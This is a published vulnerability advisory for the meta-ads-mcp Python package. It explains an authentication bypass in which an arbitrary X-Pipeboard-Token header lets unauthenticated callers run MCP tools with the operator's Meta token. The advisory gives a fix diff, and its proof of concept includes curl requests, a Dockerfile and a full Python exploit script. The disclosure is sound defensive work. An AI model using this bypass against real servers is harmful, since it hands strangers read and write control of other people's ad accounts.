{"id":"PYSEC-2026-3484","summary":"meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token","details":"## X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\n### Summary\n\n`AuthInjectionMiddleware` in `meta-ads-mcp` rejects HTTP MCP requests only when **both** `auth_token` and `pipeboard_token` are absent. Because `extract_token_from_headers()` does not recognise the `X-Pipeboard-Token` header, an attacker who sends that header with any arbitrary value produces `auth_token = None` and `pipeboard_token = \u003cattacker value\u003e`, making the guard condition evaluate to `False` and passing the request through. No authentication context is set; the token getter falls back to the server operator's `META_ACCESS_TOKEN` environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data.\n\n### Details\n\nThe vulnerable condition is at `meta_ads_mcp/core/http_auth_integration.py:259`:\n\n```python\n# http_auth_integration.py:255-260\nauth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers))\npipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers))\n\nif not auth_token and not pipeboard_token:      # ← bypass condition\n    return Response(..., status_code=401)\n```\n\n`extract_token_from_headers()` (lines 77–95) recognises only `Authorization: Bearer`, `X-META-ACCESS-TOKEN`, and `X-PIPEBOARD-API-TOKEN`. It does **not** recognise `X-Pipeboard-Token`, so that header never populates `auth_token`.\n\n`extract_pipeboard_token_from_headers()` (line 108) **does** recognise `X-Pipeboard-Token`, so sending that header alone produces:\n\n```\nauth_token      = None          # not set → guard reads False for left operand\npipeboard_token = \"\u003canything\u003e\"  # truthy  → guard reads False for right operand\n→ (not None) and (not \"\u003canything\u003e\") = True and False = False → 401 never returned\n```\n\nAfter the bypass, `set_auth_token()` is never called (lines 283–291 only run when `auth_token` is truthy). The patched token getter at lines 163–168 resolves `get_auth_token() = None`, then delegates to `original_get_current_access_token()`. The fallback chain in `auth.py:446–453` returns `META_ACCESS_TOKEN` from the server environment:\n\n```python\n# auth.py:443-453\nenv_token = os.environ.get(\"META_ACCESS_TOKEN\")\nif env_token:\n    return env_token\n```\n\n`@meta_api_tool` at `api.py:390–396` injects this operator token into every tool's `access_token` kwarg. The sink at `api.py:225–235` forwards it to the Meta Graph API via `httpx.AsyncClient`. Verified with `accounts.py:42–62` (`get_ad_accounts`): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an `OAuthException`, confirming the token traversed the full path.\n\nFull data flow:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `http_auth_integration.py:255–257` | Middleware extracts attacker-controlled headers |\n| 2 | `http_auth_integration.py:259` | Bypass: `X-Pipeboard-Token` alone satisfies guard |\n| 3 | `http_auth_integration.py:288–291` | `auth_token` is `None`; auth context never set |\n| 4 | `http_auth_integration.py:163–168` | Token getter falls back to original accessor |\n| 5 | `auth.py:446–453` | `META_ACCESS_TOKEN` env var returned as access token |\n| 6 | `api.py:390–396` | Operator token injected into tool kwargs |\n| 7 | `accounts.py:42–62` | Tool invokes Meta Graph API with operator token |\n| 8 | `api.py:225–235` | `httpx.AsyncClient` sends privileged HTTP request |\n\n**Recommended fix:**\n\n```diff\n--- a/meta_ads_mcp/core/http_auth_integration.py\n+++ b/meta_ads_mcp/core/http_auth_integration.py\n-        if not auth_token and not pipeboard_token:\n+        if not auth_token:\n```\n\n`X-Pipeboard-Token` should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed and the `meta-ads-mcp` repository available locally.\n- The server must be started in `streamable-http` mode (documented in `STREAMABLE_HTTP_SETUP.md` as a supported production deployment).\n\n**Step 1 — Build the Docker image**\n\n```bash\ndocker build \\\n  -t vuln001-meta-ads-mcp \\\n  -f /path/to/vuln-001/Dockerfile \\\n  /path/to/meta-ads-mcp-repo/\n```\n\nThe `Dockerfile` installs the package from source, sets `META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890`, and starts the server on port 8080.\n\n**Step 2 — Run the container**\n\n```bash\ndocker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp\n```\n\n**Step 3 — Confirm the middleware is active (no-auth → 401)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}'\n# Expected: HTTP/1.1 401  {\"error\":\"Unauthorized\",...}\n```\n\n**Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}'\n# Expected: HTTP/1.1 200  {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}}  (37 tools listed)\n```\n\n**Step 5 — Confirm operator token is forwarded to Meta Graph API**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"get_ad_accounts\",\"arguments\":{\"limit\":1}}}'\n# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN\n# was forwarded to Meta. With a real operator token, ad account data is returned.\n```\n\n**Automated PoC script**\n\n```bash\npython3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp\n```\n\nThe script performs Tests 1–3 and prints `RESULT: PASS — VULN-001 reproduced` on success.\n\n**Observed output (dynamic reproduction)**\n\n```\nTest 1 (no auth header)         → HTTP 401  {\"error\":\"Unauthorized\",...}\nTest 2 (X-Pipeboard-Token only) → HTTP 200  {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}}  (37 tools)\nTest 3 (tools/call, same header)→ HTTP 200  {\"error\":{\"message\":\"Invalid OAuth access token data.\",\"type\":\"OAuthException\",\"code\":190}}\n```\n\nTest 3 confirms that `FAKE_OPERATOR_META_TOKEN` was sent to Meta Graph API, proving the full operator-token reuse path.\n\n### Impact\n\nThis is an **authentication bypass** vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary `X-Pipeboard-Token` header can:\n\n- **Read** all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights).\n- **Write** Meta Ads resources (create/update campaigns, ads, budgets) as the operator.\n- **Exfiltrate the operator's identity** via Meta Graph API error responses that reference the token.\n\nOperators who deploy `meta-ads-mcp` in `--transport streamable-http` mode with `META_ACCESS_TOKEN` configured — the documented and recommended production setup — are directly affected. Deployments using the default `stdio` transport or those without `META_ACCESS_TOKEN` set are not affected.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)\n# Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.\n# The server enforces auth via AuthInjectionMiddleware, but the bypass allows\n# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,\n# which then fall back to the operator's META_ACCESS_TOKEN.\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Install system dependencies\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n        curl \\\n    && rm -rf /var/lib/apt/lists/*\n\n# Copy repository source (build context must be the repo root)\nCOPY . /app\n\n# Install the package and its dependencies\nRUN pip install --no-cache-dir -e .\n\n# Fake operator token: length \u003e= 20 so the server's basic validation passes.\n# This is NOT a real Meta token — used only to prove the bypass path\n# that reaches auth.py:446-453 (META_ACCESS_TOKEN fallback).\nENV META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890\nENV META_APP_ID=999999999999999\n\n# Disable any browser-launch attempts during startup\nENV DISPLAY=\n\nEXPOSE 8080\n\n# Start the MCP server with streamable-http transport.\n# --host 0.0.0.0 is required so the container port is reachable from the host.\nCMD [\"python\", \"-m\", \"meta_ads_mcp\", \\\n     \"--transport\", \"streamable-http\", \\\n     \"--host\", \"0.0.0.0\", \\\n     \"--port\", \"8080\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\nCVE class : CWE-287 Improper Authentication\nPackage   : meta-ads-mcp 1.0.113\nFile      : meta_ads_mcp/core/http_auth_integration.py:259\n\nVulnerability summary\n---------------------\nAuthInjectionMiddleware rejects requests only when BOTH auth_token AND\npipeboard_token are absent (line 259):\n    if not auth_token and not pipeboard_token:\n        return Response(status_code=401)\n\nextract_token_from_headers() (lines 77-95) does NOT recognise the\n\"X-Pipeboard-Token\" header — only \"Authorization: Bearer\",\n\"X-META-ACCESS-TOKEN\", and \"X-PIPEBOARD-API-TOKEN\".\n\nextract_pipeboard_token_from_headers() (line 108) DOES recognise\n\"X-Pipeboard-Token\".\n\nConsequence: an attacker that sends only \"X-Pipeboard-Token: \u003canything\u003e\"\nmakes auth_token=None and pipeboard_token=\"\u003canything\u003e\". The bypass\ncondition becomes:\n    if not None and not \"\u003canything\u003e\":   # False — request passes\nNo auth context is set; the token getter (http_auth_integration.py:163-168)\nfalls back to get_current_access_token() in auth.py which returns the server\noperator's META_ACCESS_TOKEN (auth.py:446-453). Tool calls then run as the\noperator.\n\nExpected evidence\n-----------------\nTest 1  No auth header  →  HTTP 401 from middleware\nTest 2  X-Pipeboard-Token: \u003cattacker value\u003e  →  HTTP != 401 from MCP layer\n        (proves bypass; further tool calls use operator token)\n\nUsage\n-----\nThe MCP server must already be running and reachable at 127.0.0.1:8080.\n    docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp\n    python3 poc.py\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# ---------------------------------------------------------------------------\n# Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp\nimport os as _os\n\n_DEFAULT_URL = \"http://127.0.0.1:8080/mcp\"\nSERVER_URL = (\n    sys.argv[1] if len(sys.argv) \u003e 1 else _os.environ.get(\"MCP_SERVER_URL\", _DEFAULT_URL)\n)\n# Arbitrary attacker-controlled value — NOT validated by the server\nATTACKER_PIPEBOARD_TOKEN = \"attacker-controlled-not-validated-xyz1234567890\"\nSERVER_READY_TIMEOUT = 90  # seconds\n# ---------------------------------------------------------------------------\n\n\ndef http_post(url: str, headers: dict, body: dict) -\u003e tuple:\n    \"\"\"Send a JSON-encoded POST request; return (http_status, response_text).\"\"\"\n    data = json.dumps(body).encode()\n    req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n    try:\n        with urllib.request.urlopen(req, timeout=10) as resp:\n            return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as exc:\n        return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n    except Exception as exc:\n        return None, str(exc)\n\n\ndef wait_for_server(timeout: int = SERVER_READY_TIMEOUT) -\u003e bool:\n    \"\"\"\n    Poll until the server returns any HTTP response (even 401).\n    Returns True when ready, False on timeout.\n    \"\"\"\n    deadline = time.time() + timeout\n    attempt = 0\n    while time.time() \u003c deadline:\n        status, _ = http_post(\n            SERVER_URL,\n            {\"Content-Type\": \"application/json\"},\n            {\"jsonrpc\": \"2.0\", \"id\": 0, \"method\": \"ping\"},\n        )\n        if status is not None:\n            return True\n        attempt += 1\n        if attempt % 5 == 0:\n            elapsed = int(time.time() - (deadline - timeout))\n            print(f\"    ... still waiting ({elapsed}s elapsed)\")\n        time.sleep(1)\n    return False\n\n\ndef run_test(label: str, headers: dict, payload: dict) -\u003e tuple:\n    \"\"\"Run one request, print result, and return (status, body).\"\"\"\n    print(f\"\\n[*] {label}\")\n    status, body = http_post(SERVER_URL, headers, payload)\n    print(f\"    HTTP Status : {status}\")\n    # Print up to 600 chars so long MCP responses are readable\n    print(f\"    Response    : {body[:600]}\")\n    return status, body\n\n\ndef main() -\u003e int:\n    print(\"=\" * 65)\n    print(\"VULN-001 PoC: X-Pipeboard-Token Auth Bypass\")\n    print(\"meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication\")\n    print(\"=\" * 65)\n\n    # -----------------------------------------------------------------------\n    print(\"\\n[*] Waiting for MCP server to be ready ...\")\n    if not wait_for_server():\n        print(f\"[-] ERROR: Server did not respond within {SERVER_READY_TIMEOUT}s\")\n        return 2\n    print(\"[+] Server is ready\")\n\n    # Common headers for all requests\n    base_headers = {\n        \"Content-Type\": \"application/json\",\n        \"Accept\": \"application/json, text/event-stream\",\n    }\n\n    # A minimal MCP JSON-RPC payload.  In stateless-HTTP mode the server\n    # processes each request independently; tools/list does not require a\n    # prior initialize handshake.\n    list_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/list\",\n        \"params\": {},\n    }\n\n    # -----------------------------------------------------------------------\n    # Test 1: No authentication — must be rejected with 401\n    # -----------------------------------------------------------------------\n    status1, body1 = run_test(\n        \"Test 1: POST /mcp — no auth header at all\",\n        base_headers,\n        list_payload,\n    )\n\n    if status1 != 401:\n        print(f\"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}\")\n        print(\"    Middleware may not be active. Cannot assess bypass.\")\n        return 2\n\n    try:\n        parsed = json.loads(body1)\n        if parsed.get(\"error\") != \"Unauthorized\":\n            print(\"[-] UNEXPECTED body (expected {\\\"error\\\": \\\"Unauthorized\\\"})\")\n            return 2\n    except json.JSONDecodeError:\n        pass  # Body format is secondary evidence\n\n    print(\"[+] CONFIRMED: No-auth request correctly rejected with HTTP 401\")\n\n    # -----------------------------------------------------------------------\n    # Test 2: Only X-Pipeboard-Token — must NOT be 401 if bypass works\n    #\n    # Vulnerability logic (http_auth_integration.py:259):\n    #   auth_token    = extract_token_from_headers(headers)       -\u003e None\n    #   pipeboard_token = extract_pipeboard_token_from_headers(headers) -\u003e ATTACKER_VALUE\n    #   if not None and not ATTACKER_VALUE:   # evaluates False -\u003e request passes\n    #   # set_auth_token() never called -\u003e auth context stays None\n    #   # tool getter falls back to META_ACCESS_TOKEN env var\n    # -----------------------------------------------------------------------\n    bypass_headers = {\n        **base_headers,\n        \"X-Pipeboard-Token\": ATTACKER_PIPEBOARD_TOKEN,\n    }\n    status2, body2 = run_test(\n        f\"Test 2: POST /mcp — only X-Pipeboard-Token: {ATTACKER_PIPEBOARD_TOKEN}\",\n        bypass_headers,\n        list_payload,\n    )\n\n    if status2 == 401:\n        print(\"\\n[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.\")\n        print(\"    The vulnerability may have been patched on this build.\")\n        return 1\n\n    print(f\"\\n[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)\")\n    print(\"    The middleware accepted the request with X-Pipeboard-Token alone.\")\n    print(\"    auth_token was None -\u003e set_auth_token() not called -\u003e\")\n    print(\"    get_auth_token() returns None -\u003e META_ACCESS_TOKEN fallback active.\")\n\n    # Extra detail: check if we can see MCP tool names in the response\n    try:\n        parsed2 = json.loads(body2)\n        tools = parsed2.get(\"result\", {}).get(\"tools\", [])\n        if tools:\n            print(f\"\\n    MCP tools/list returned {len(tools)} tools (server fully reachable):\")\n            for t in tools[:5]:\n                print(f\"      - {t.get('name', '?')}\")\n    except Exception:\n        pass\n\n    # -----------------------------------------------------------------------\n    # Test 3: tools/call get_ad_accounts — operator token forwarded to Meta\n    # The Meta Graph API will reject the FAKE token, but the error response\n    # proves the request reached Meta (not the local 401 guard).\n    # -----------------------------------------------------------------------\n    call_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"get_ad_accounts\",\n            \"arguments\": {\"limit\": 1},\n        },\n    }\n    status3, body3 = run_test(\n        \"Test 3: tools/call get_ad_accounts with X-Pipeboard-Token only\",\n        bypass_headers,\n        call_payload,\n    )\n\n    if status3 != 401:\n        print(f\"\\n[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}\")\n        print(\"    The tool call was not blocked locally. The server forwarded\")\n        print(\"    the request to Meta Graph API using META_ACCESS_TOKEN.\")\n        if \"OAuthException\" in body3 or \"Invalid OAuth\" in body3:\n            print(\"    Meta Graph API returned an OAuthException about the\")\n            print(\"    FAKE_OPERATOR_META_TOKEN — confirming the token was forwarded.\")\n        elif \"error\" in body3.lower():\n            print(\"    Meta Graph API (or MCP layer) returned an error response\")\n            print(\"    — the request reached the tool handler, not the local 401 guard.\")\n    else:\n        print(\"[!] Note: tools/call returned 401 — may need MCP initialize first\")\n\n    # -----------------------------------------------------------------------\n    print(\"\\n\" + \"=\" * 65)\n    print(\"RESULT: PASS — VULN-001 reproduced\")\n    print()\n    print(\"Evidence:\")\n    print(f\"  Test 1 (no header)           -\u003e HTTP {status1} (blocked by middleware)\")\n    print(f\"  Test 2 (X-Pipeboard-Token)   -\u003e HTTP {status2} (BYPASSES middleware)\")\n    print()\n    print(\"The distinction proves that AuthInjectionMiddleware at\")\n    print(\"http_auth_integration.py:259 is the exploitable boundary.\")\n    print(\"An attacker can reach all MCP tools as the server operator by\")\n    print('sending any value in the \"X-Pipeboard-Token\" header.')\n    print(\"=\" * 65)\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```","aliases":["CVE-2026-54547","GHSA-2v2f-mvfg-ph56"],"modified":"2026-07-23T15:00:15.254592954Z","published":"2026-07-23T11:41:47.140269Z","references":[{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-2v2f-mvfg-ph56"},{"type":"PACKAGE","url":"https://github.com/pipeboard-co/meta-ads-mcp"},{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115"},{"type":"PACKAGE","url":"https://pypi.org/project/meta-ads-mcp"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2v2f-mvfg-ph56"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54547"}],"affected":[{"package":{"name":"meta-ads-mcp","ecosystem":"PyPI","purl":"pkg:pypi/meta-ads-mcp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.115"}]}],"versions":["0.1.0","0.10.0","0.10.1","0.10.2","0.10.5","0.10.6","0.10.7","0.10.9","0.11.0","0.11.1","0.11.2","0.11.3","0.11.4","0.11.5","0.11.6","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.8","0.2.9","0.3.0","0.3.1","0.3.10","0.3.2","0.3.3","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.6.0","0.7.0","0.7.1","0.7.10","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.0.1","1.0.10","1.0.100","1.0.101","1.0.102","1.0.103","1.0.104","1.0.105","1.0.106","1.0.107","1.0.108","1.0.109","1.0.11","1.0.110","1.0.111","1.0.112","1.0.113","1.0.12","1.0.13","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.23","1.0.24","1.0.25","1.0.26","1.0.27","1.0.28","1.0.29","1.0.3","1.0.30","1.0.31","1.0.33","1.0.34","1.0.35","1.0.36","1.0.38","1.0.39","1.0.4","1.0.40","1.0.41","1.0.42","1.0.43","1.0.44","1.0.45","1.0.46","1.0.47","1.0.48","1.0.49","1.0.5","1.0.50","1.0.51","1.0.52","1.0.53","1.0.54","1.0.55","1.0.56","1.0.57","1.0.58","1.0.59","1.0.6","1.0.60","1.0.61","1.0.62","1.0.63","1.0.64","1.0.65","1.0.66","1.0.67","1.0.68","1.0.69","1.0.7","1.0.70","1.0.71","1.0.72","1.0.73","1.0.74","1.0.75","1.0.76","1.0.77","1.0.78","1.0.79","1.0.8","1.0.80","1.0.81","1.0.82","1.0.83","1.0.84","1.0.85","1.0.86","1.0.87","1.0.88","1.0.89","1.0.90","1.0.91","1.0.92","1.0.93","1.0.94","1.0.95","1.0.96","1.0.97","1.0.98","1.0.99"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/meta-ads-mcp/PYSEC-2026-3484.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}